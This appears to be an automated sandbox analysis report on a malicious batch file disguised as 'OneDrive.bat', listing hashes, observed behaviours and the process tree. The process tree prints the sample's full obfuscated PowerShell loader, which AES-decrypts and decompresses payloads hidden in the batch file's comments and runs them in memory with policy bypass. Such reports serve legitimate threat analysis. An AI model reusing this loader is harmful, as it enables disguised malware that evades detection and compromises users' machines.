Analysis
-
max time kernel
12s -
max time network
13s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
07-09-2024 02:17
Static task
static1
Behavioral task
behavioral1
Sample
OneDrive.bat
Resource
win7-20240708-en
General
-
Target
OneDrive.bat
-
Size
1.3MB
-
MD5
6751f819cf5b4df6f0b3ef0c4d67df70
-
SHA1
253fb36b79aeba90a296fe97c0036c52df2c60bc
-
SHA256
c43b6042c5e1f2cf58376a0f3a603fc31dac3582a2550feb039c2b6b12f4561e
-
SHA512
07714e6bc30a72865f75297ab9fa6725b8cc817b4839bd2551e683ecab513920ac266ac498cbc9d90638b31ef3d087d7d2bcb19a69604ecaaf46d47ea0eccaa9
-
SSDEEP
24576:w8jhgFN6tS6yfyTTQCAKcJSmq4Iu1uaQg/8UHSx99Busn/eE3as:wpu2yTtJ6AgJcAsn/bas
Malware Config
Signatures
-
pid Process 4292 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 4292 powershell.exe 4292 powershell.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 4292 powershell.exe Token: SeDebugPrivilege 864 taskmgr.exe Token: SeSystemProfilePrivilege 864 taskmgr.exe Token: SeCreateGlobalPrivilege 864 taskmgr.exe Token: 33 864 taskmgr.exe Token: SeIncBasePriorityPrivilege 864 taskmgr.exe -
Suspicious use of FindShellTrayWindow 32 IoCs
pid Process 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe -
Suspicious use of SendNotifyMessage 32 IoCs
pid Process 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe 864 taskmgr.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4932 wrote to memory of 4292 4932 cmd.exe 87 PID 4932 wrote to memory of 4292 4932 cmd.exe 87 PID 4932 wrote to memory of 4292 4932 cmd.exe 87
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OneDrive.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4932 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lH0qoilpQ2ZsY8zf17BB+J/QzZZKgDT5mpOAWjfqrdk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kuH5GYB2aEsnfiIMYsfruA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aDBue=New-Object System.IO.MemoryStream(,$param_var); $sQlXi=New-Object System.IO.MemoryStream; $qsRvI=New-Object System.IO.Compression.GZipStream($aDBue, [IO.Compression.CompressionMode]::Decompress); $qsRvI.CopyTo($sQlXi); $qsRvI.Dispose(); $aDBue.Dispose(); $sQlXi.Dispose(); $sQlXi.ToArray();}function execute_function($param_var,$param2_var){ $SCIaU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TaffC=$SCIaU.EntryPoint; $TaffC.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\OneDrive.bat';$kLrvB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\OneDrive.bat').Split([Environment]::NewLine);foreach ($RVWSd in $kLrvB) { if ($RVWSd.StartsWith(':: ')) { $WlsSp=$RVWSd.Substring(3); break; }}$payloads_var=[string[]]$WlsSp.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4292
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:864
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82